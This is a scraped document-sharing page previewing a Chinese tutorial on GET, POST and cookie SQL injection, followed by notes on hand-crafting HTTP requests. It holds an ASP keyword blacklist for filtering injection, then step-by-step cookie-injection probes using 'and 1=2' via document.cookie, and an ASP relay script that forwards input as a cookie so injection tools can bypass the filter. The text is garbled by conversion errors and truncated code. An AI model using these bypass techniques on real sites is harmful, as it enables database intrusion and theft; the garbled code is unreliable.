POST GET与COOKIE注入原理

上传人:碎****木 文档编号:220861801 上传时间:2021-12-09 格式:DOCX 页数:9 大小:57.09KB
返回 下载 相关 举报
POST GET与COOKIE注入原理_第1页
第1页 / 共9页
POST GET与COOKIE注入原理_第2页
第2页 / 共9页
POST GET与COOKIE注入原理_第3页
第3页 / 共9页
亲,该文档总共9页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述

《POST GET与COOKIE注入原理》由会员分享,可在线阅读,更多相关《POST GET与COOKIE注入原理(9页珍藏版)》请在金锄头文库上搜索。

1、POSTGET 与 COOKIE 注入原理一般的 恳求不外乎 get 和 post 两种,假设过滤掉全部 post 或者get 恳求中的参数信息中的非法字符,那么也就实现了防SQL 注入。首先定义恳求中不能包含如下字符: ”|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare 各个字符用“|“隔开,然后再推断Request.QueryString,具体代码如下:get 恳求的非法字符过滤:dim sql_injdataSQL_injdata = “”|and|exec|inser

2、t|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare“ SQL_inj = split(SQL_Injdata,“|“)If Request.QueryString“ ThenFor Each SQL_Get In Request.QueryString For SQL_Data=0 To Ubound(SQL_inj)if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA)0 ThenResponse.Write “alert(” 请不要在参数中包含非法

3、字符! ”);history.back(-1)“Response.end end ifnext Next End Ifpost 恳求的非法字符过滤: If Request.Form“ ThenFor Each Sql_Post In Request.Form For SQL_Data=0 To Ubound(SQL_inj)if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA)0 ThenResponse.Write “alert(” 请不要在参数中包含非法字符! ”);history.back(-1)“Response.end end ifnext

4、 next end if然后在使用的时候将这两段代码放在数据库连接的文件里一起Include 进来即可。一般状况下,当我们要渗透的网站做了防注入的话,最有效的就是进展 Cookie 注入,下面附手工进展Cookie 注入的方法.不要点击以下XXX。 华美的分割线 假设网址为 :/OOXX /xxx.asp?id=xxx,对 GET 以及 POST 提交的数据都进展了检测,也没 办 法 饶 过 .首 先 打 开 上 面 的 地 址 ,再 清 空 地 址 栏 ,输 入javascript:alert(document.cookie=“id=“+escape(“46 and 1=2“),再输入 :/

5、OOXX /xxx.asp,注入页面返回错误 ,说明有期望;提交 javascript:alert(document.cookie=“xx and 1=1“),最终输入 :/OOXX /xxx.asp,这次返回完全正常,然后利用以下代码进展Cookie程序代码JavaScript 代码%cookname=request(“jmdcw“) cookname=escape(cookname) jmstr=“id=“&cookname ”存在注入的变量jmstr=replace(jmstr,chr(32),“%20“) jmstr=replace(jmstr,chr(43),“%2b“)”/以下三行

6、需要修改,Cookies 值可以用Domain3.5扫瞄下就得到了 jmurl=“ :/OOXX /xxx.asp“ ”存在注入的网址jmref=“ :/OOXX /xxx.asp“ ”来源地址jmcok=“ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK“jmcok=jmcok& “;“&jmstr“;“ response.write postdata(jmurl,jmcok,jmref) function postdata(posturl,postcok,postref) dim set =server.createobject(“msxml2.s

7、erverxml “) with .open “POST “,posturl,false.setRequestheader “content-type“,“application/x-www-form-urlencoded“.setrequestheader “referer“,postref.setrequestheader “cookie“,postcok”提交 cookie 值.send()”发送数据postdata=.responsebody”得到返回的二进制信息end withset =nothing postdata=bytes2BSTR(postdata) ”转换二进制流end

8、functionfunction bytes2BSTR(vin) dim strReturndim i,thischarcode,nextcharcode strReturn=“for i=1 to lenB(vin)thischarcode=ascB(midB(vin,1,1) if thischarcode保存以上代码为 xxx.asp,那么注入地址就是 :/127.0.0.1/jmdcw.asp?jmdcw=xxx,直接用工具猜解就OK.注入工具的原理和开发“注入”这一词眼下可算得上时髦,“大街小巷”处处都能“听”到看到。这一词曾经让很多人“有名色变”,今日我们的话题仍是注入。不过今日我

9、们这里的这个注入不同于以往的,它有别于通常的 SQL 注入,可以说是一种新型的。平日里,人们在提交数据的时候都是承受页面形式。但是,今日我们这里就要打破这一传统观念。这种方法是通过自己构造 恳求报文,以程序的方式代替传统的方法,实现数据的自动提交。在文章还未进入正题的时候,我就 协议这个东西给大家再罗嗦两句。其实关于 协议这个东西我原来都不想说的。但是,为了照看大多数朋友。平日里,当我们在翻开一个网站的时候,比方说 :/ IE 作为一个客户端,它将向效劳器发送的是如下的恳求报文:GET / /1.1Accept: image/gif, image/x-xbitmap, image/jpeg,

10、image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*Accept-Language: zh-cnAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: Connection: Keep-AliveCookie:NETEASE_SSN=hinrof;NETEASE

11、_ADV=11&22;Province=0;City=0;NTES_UV_COOKIE=YES从以上的报文中,我们可以看到很多字段,不过其中有很多并不是必需的,假设我们自己编程, 只关心必要的就行了。在 /1.1 协议中规定了最小恳求消息由方法字段GET/POST/HEAD和主机字段HOST构成。如上面的GET / /1.1HOST: 但在 /1.0中,HOST 字段并不是必需的,至于这里为什么不能省,连续往下看。GET 和 POST 是扫瞄器向效劳器提交报文通常所承受的两种方法。效劳器在收到报文之后, 解码分析出所需的数据并进展处理,最终返回结果。通常我们可以看到的都是像GET /list.

12、asp?id=* /1.1HOST:*.*.*.*由于受 URL 长度1024的限制,所以 GET 方法通常是用在提交一些小数据的状况下。假设数据比较大就只能承受 POST 方法。在讲解 POST 方法的一些要点之前,大家还是先来看一段POST 恳求报文。POST/huace/add.php /1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application

13、/x-shockwave-flash, */*Referer: :/202.147.125.36/huace/add.phpAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 202.147.125.36Content-Length: 115Connection: Keep-Alivename=test&email

14、=&comefrom=&homepage=&icq=&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1%D4与 GET 方法相比,在字段下面多了一段内容,这就是我们提交的数据,假设有中文须经过urlencode 编码。同样让我们省去不必要的字段,构造一个最小的POST 恳求。POST/huace/add.php /1.1Host: 202.147.125.36Content-Type: application/x-www-form-urlencodedContent-Length: 115name=test&email=&comefrom=&homepag

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 行业资料 > 教育/培训

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号